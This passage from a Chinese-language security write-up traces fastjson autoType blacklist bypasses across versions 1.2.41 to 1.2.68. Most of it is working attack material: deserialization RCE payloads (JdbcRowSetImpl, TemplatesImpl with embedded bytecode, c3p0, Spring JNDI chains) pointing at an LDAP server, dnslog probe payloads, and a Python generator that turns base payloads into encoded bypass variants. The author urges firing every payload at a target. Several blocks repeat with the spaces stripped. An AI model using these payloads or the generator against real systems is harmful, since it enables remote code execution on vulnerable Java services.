||DataSource.class.isAssignableFrom(clazz)// dataSource can load jdbc driver
){
thrownewJSONException("autoType is not support. "+typeName);
}
if(expectClass!=null){
if(expectClass.isAssignableFrom(clazz)){
returnclazz;
}else{
thrownewJSONException("type not match. "+typeName+" -> "+expectClass.getName());
}
}
}
if(!autoTypeSupport){
thrownewJSONException("autoType is not support. "+typeName);
}
returnclazz;
}
在上面做了四个位置标记,因为后面几次绕过也与这几处位置有关。这一次的绕过是走过了前面的1,2,3成功进入位置4加载目标类。位置4 loadclass如下:
去掉了className前后的L和;,形如Lcom.lang.Thread;这种表示方法和JVM中类的表示方法是类似的,fastjson对这种表示方式做了处理。而之前的黑名单检测都是startswith检测的,所以可给@type指定的类前后加上L和;来绕过黑名单检测。
这里用上面的JdbcRowSetImpl利用链:
{
"rand1": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
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{
"rand1":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://localhost:1389/Object",
"autoCommit":true
}
}
测试(jdk8u102,fastjson 1.2.41):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test4 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功
}
}
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packagecom.longofo.test;
importcom.alibaba.fastjson.JSON;
importcom.alibaba.fastjson.parser.ParserConfig;
publicclassTest4{
publicstaticvoidmain(String[]args){
Stringpayload="{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功
}
}
结果:
ver=1.2.42
在1.2.42对1.2.25~1.2.41的checkAutotype绕过进行了修复,将黑名单改成了十进制,对checkAutotype检测也做了相应变化:
黑名单改成了十进制,检测也进行了相应hash运算。不过和上面1.2.25中的检测过程还是一致的,只是把startswith这种检测换成了hash运算这种检测。对于1.2.25~1.2.41的checkAutotype绕过的修复,就是红框处,判断了className前后是不是L和;,如果是,就截取第二个字符和到倒数第二个字符。所以1.2.42版本的checkAutotype绕过就是前后双写LL和;;,截取之后过程就和1.2.25~1.2.41版本利用方式一样了。
用上面的JdbcRowSetImpl利用链:
{
"rand1": {
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
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{
"rand1":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://localhost:1389/Object",
"autoCommit":true
}
}
测试(jdk8u102,fastjson 1.2.42):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test5 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功
}
}
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packagecom.longofo.test;
importcom.alibaba.fastjson.JSON;
importcom.alibaba.fastjson.parser.ParserConfig;
publicclassTest5{
publicstaticvoidmain(String[]args){
Stringpayload="{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功
}
}
结果:
ver=1.2.43
1.2.43对于1.2.42的绕过修复方式:
在第一个if条件之下(L开头,;结尾),又加了一个以LL开头的条件,如果第一个条件满足并且以LL开头,直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了L和;做了特殊处理外,[也被特殊处理了,又再次绕过了checkAutoType:
用上面的JdbcRowSetImpl利用链:
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
1
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
测试(jdk8u102,fastjson 1.2.43):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test6 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
JSON.parseObject(payload, User.class);
}
}
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packagecom.longofo.test;
importcom.alibaba.fastjson.JSON;
importcom.alibaba.fastjson.parser.ParserConfig;
publicclassTest6{
publicstaticvoidmain(String[]args){
Stringpayload="{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
JSON.parseObject(payload,User.class);
}
}
结果:
ver=1.2.44
1.2.44版本修复了1.2.43绕过,处理了[:
删除了之前的L开头、;结尾、LL开头的判断,改成了[开头就抛异常,;结尾也抛异常,所以这样写之前的几次绕过都修复了。
ver>=1.2.45&ver<1.2.46
这两个版本期间就是增加黑名单,没有发生checkAutotype绕过。黑名单中有几个payload在后面的RCE Payload给出,这里就不写了
ver=1.2.47
这个版本发生了不开启autotype情况下能利用成功的绕过。解析一下这次的绕过:
利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以过
这个java.lang.class类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中
如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
这个漏洞分析已经很多了,具体详情可以参考下这篇
payload:
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
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{
"rand1":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"rand2":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Object",
"autoCommit":true
}
}
测试(jdk8u102,fastjson 1.2.47):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
public class Test7 {
public static void main(String[] args) {
String payload = "{\n" +
" \"rand1\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"rand2\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
JSON.parseObject(payload, User.class);
}
}
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packagecom.longofo.test;
importcom.alibaba.fastjson.JSON;
publicclassTest7{
publicstaticvoidmain(String[]args){
Stringpayload="{\n"+
" \"rand1\": {\n"+
" \"@type\": \"java.lang.Class\", \n"+
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n"+
" }, \n"+
" \"rand2\": {\n"+
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n"+
" \"dataSourceName\": \"ldap://localhost:1389/Object\", \n"+
" \"autoCommit\": true\n"+
" }\n"+
"}";
//JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
JSON.parseObject(payload,User.class);
}
}
结果:
ver>=1.2.48&ver<=1.2.68
在1.2.48修复了1.2.47的绕过,在MiscCodec,处理Class类的地方,设置了cache为false:
在1.2.48到最新版本1.2.68之间,都是增加黑名单类。
ver=1.2.68
1.2.68是目前最新版,在1.2.68引入了safemode,打开safemode时,@type这个specialkey完全无用,无论白名单和黑名单,都不支持autoType了。
在这个版本中,除了增加黑名单,还减掉一个黑名单:
这个减掉的黑名单,不知道有师傅跑出来没,是个包名还是类名,然后能不能用于恶意利用,反正有点奇怪。
探测Fastjson
比较常用的探测Fastjson是用dnslog方式,探测到了再用RCE Payload去一个一个打。同事说让搞个能回显的放扫描器扫描,不过目标容器/框架不一样,回显方式也会不一样,这有点为难了...,还是用dnslog吧。
dnslog探测
目前fastjson探测比较通用的就是dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用。下面给出一些看到的payload(结合了上面的rand:{}这种方式,比较通用些):
{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}
{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}
{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}
一些畸形payload,不过依然可以触发dnslog:
{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}
{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0
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{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}
{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}
{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}
一些畸形payload,不过依然可以触发dnslog:
{"rand6":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}}
{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0
一些RCE Payload
之前没有收集关于fastjson的payload,没有去跑jar包....,下面列出了网络上流传的payload以及从marshalsec中扣了一些并改造成适用于fastjson的payload,每个payload适用的jdk版本、fastjson版本就不一一测试写了,这一通测下来都不知道要花多少时间,实际利用基本无法知道版本、autotype开了没、用户咋配置的、用户自己设置又加了黑名单/白名单没,所以将构造的Payload一一过去打就行了,基础payload:
payload1:
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
payload2:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
payload3:
{
"rand1": {
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://localhost:1389/Object"
}
}
}
payload4:
{
"rand1": {
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://localhost:1389/Object",
"propertyPath": "foo",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/Object"
]
}
}
}
payload5:
{
"rand1": Set[
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/obj"
]
},
"adviceBeanName": "ldap://localhost:1389/obj"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
]}
payload6:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
}
}
payload7:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://localhost:1389/Object",
"loginTimeout": 0
}
}
...还有很多
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payload1:
{
"rand1":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Object",
"autoCommit":true
}
}
payload2:
{
"rand1":{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name":"aaa",
"_tfactory":{},
"_outputProperties":{}
}
}
payload3:
{
"rand1":{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://localhost:1389/Object"
}
}
}
payload4:
{
"rand1":{
"@type":"org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName":"ldap://localhost:1389/Object",
"propertyPath":"foo",
"beanFactory":{
"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources":[
"ldap://localhost:1389/Object"
]
}
}
}
payload5:
{
"rand1":Set[
{
"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory":{
"@type":"org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources":[
"ldap://localhost:1389/obj"
]
},
"adviceBeanName":"ldap://localhost:1389/obj"
},
{
"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
]}
payload6:
{
"rand1":{
"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
}
}
payload7:
{
"rand1":{
"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName":"ldap://localhost:1389/Object",
"loginTimeout":0
}
}
...还有很多
下面是个小脚本,可以将基础payload转出各种绕过的变形态,还增加了\u、\x编码形式:
#!usr/bin/env python
# -*- coding:utf-8 -*-
"""
@author: longofo
@file: fastjson_fuzz.py
@time: 2020/05/07
"""
import json
from json import JSONDecodeError
class FastJsonPayload:
def __init__(self, base_payload):
try:
json.loads(base_payload)
except JSONDecodeError as ex:
raise ex
self.base_payload = base_payload
def gen_common(self, payload, func):
tmp_payload = json.loads(payload)
dct_objs = [tmp_payload]
while len(dct_objs) > 0:
tmp_objs = []
for dct_obj in dct_objs:
for key in dct_obj:
if key == "@type":
dct_obj[key] = func(dct_obj[key])
if type(dct_obj[key]) == dict:
tmp_objs.append(dct_obj[key])
dct_objs = tmp_objs
return json.dumps(tmp_payload)
# 对@type的value增加L开头,;结尾的payload
def gen_payload1(self, payload: str):
return self.gen_common(payload, lambda v: "L" + v + ";")
# 对@type的value增加LL开头,;;结尾的payload
def gen_payload2(self, payload: str):
return self.gen_common(payload, lambda v: "LL" + v + ";;")
# 对@type的value进行\u
def gen_payload3(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
# 对@type的value进行\x
def gen_payload4(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
# 生成cache绕过payload
def gen_payload5(self, payload: str):
cache_payload = {
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
}
cache_payload["rand2"] = json.loads(payload)
return json.dumps(cache_payload)
def gen(self):
payloads = []
payload1 = self.gen_payload1(self.base_payload)
yield payload1
payload2 = self.gen_payload2(self.base_payload)
yield payload2
payload3 = self.gen_payload3(self.base_payload)
yield payload3
payload4 = self.gen_payload4(self.base_payload)
yield payload4
payload5 = self.gen_payload5(self.base_payload)
yield payload5
payloads.append(payload1)
payloads.append(payload2)
payloads.append(payload5)
for payload in payloads:
yield self.gen_payload3(payload)
yield self.gen_payload4(payload)
if __name__ == '__main__':
fjp = FastJsonPayload('''{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}''')
for payload in fjp.gen():
print(payload)
print()
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#!usr/bin/env python
# -*- coding:utf-8 -*-
"""
@author: longofo
@file: fastjson_fuzz.py
@time: 2020/05/07
"""
importjson
fromjsonimportJSONDecodeError
classFastJsonPayload:
def__init__(self,base_payload):
try:
json.loads(base_payload)
exceptJSONDecodeErrorasex:
raiseex
self.base_payload=base_payload
defgen_common(self,payload,func):
tmp_payload=json.loads(payload)
dct_objs=[tmp_payload]
whilelen(dct_objs)>0:
tmp_objs=[]
fordct_objindct_objs:
forkeyindct_obj:
ifkey=="@type":
dct_obj[key]=func(dct_obj[key])
iftype(dct_obj[key])==dict:
tmp_objs.append(dct_obj[key])
dct_objs=tmp_objs
returnjson.dumps(tmp_payload)
# 对@type的value增加L开头,;结尾的payload
defgen_payload1(self,payload:str):
returnself.gen_common(payload,lambdav:"L"+v+";")
# 对@type的value增加LL开头,;;结尾的payload
defgen_payload2(self,payload:str):
returnself.gen_common(payload,lambdav:"LL"+v+";;")
# 对@type的value进行\u
defgen_payload3(self,payload:str):
returnself.gen_common(payload,
lambdav:''.join('\\u{:04x}'.format(c)forcinv.encode())).replace("\\\\","\\")
# 对@type的value进行\x
defgen_payload4(self,payload:str):
returnself.gen_common(payload,
lambdav:''.join('\\x{:02x}'.format(c)forcinv.encode())).replace("\\\\","\\")
# 生成cache绕过payload
defgen_payload5(self,payload:str):
cache_payload={
"rand1":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}
}
cache_payload["rand2"]=json.loads(payload)
returnjson.dumps(cache_payload)
defgen(self):
payloads=[]
payload1=self.gen_payload1(self.base_payload)
yieldpayload1
payload2=self.gen_payload2(self.base_payload)
yieldpayload2
payload3=self.gen_payload3(self.base_payload)
yieldpayload3
payload4=self.gen_payload4(self.base_payload)
yieldpayload4
payload5=self.gen_payload5(self.base_payload)
yieldpayload5
payloads.append(payload1)
payloads.append(payload2)
payloads.append(payload5)
forpayloadinpayloads:
yieldself.gen_payload3(payload)
yieldself.gen_payload4(payload)
if__name__=='__main__':
fjp=FastJsonPayload('''{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}''')
forpayloadinfjp.gen():
print(payload)
print()
例如JdbcRowSetImpl结果:
{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
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{"rand1":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}
{"rand1":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}
{"rand1":{"@type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}
{"rand1":{"@type":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}
{"rand1":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"rand2":{"rand1":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}}
{"rand1":{"@type":"\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}
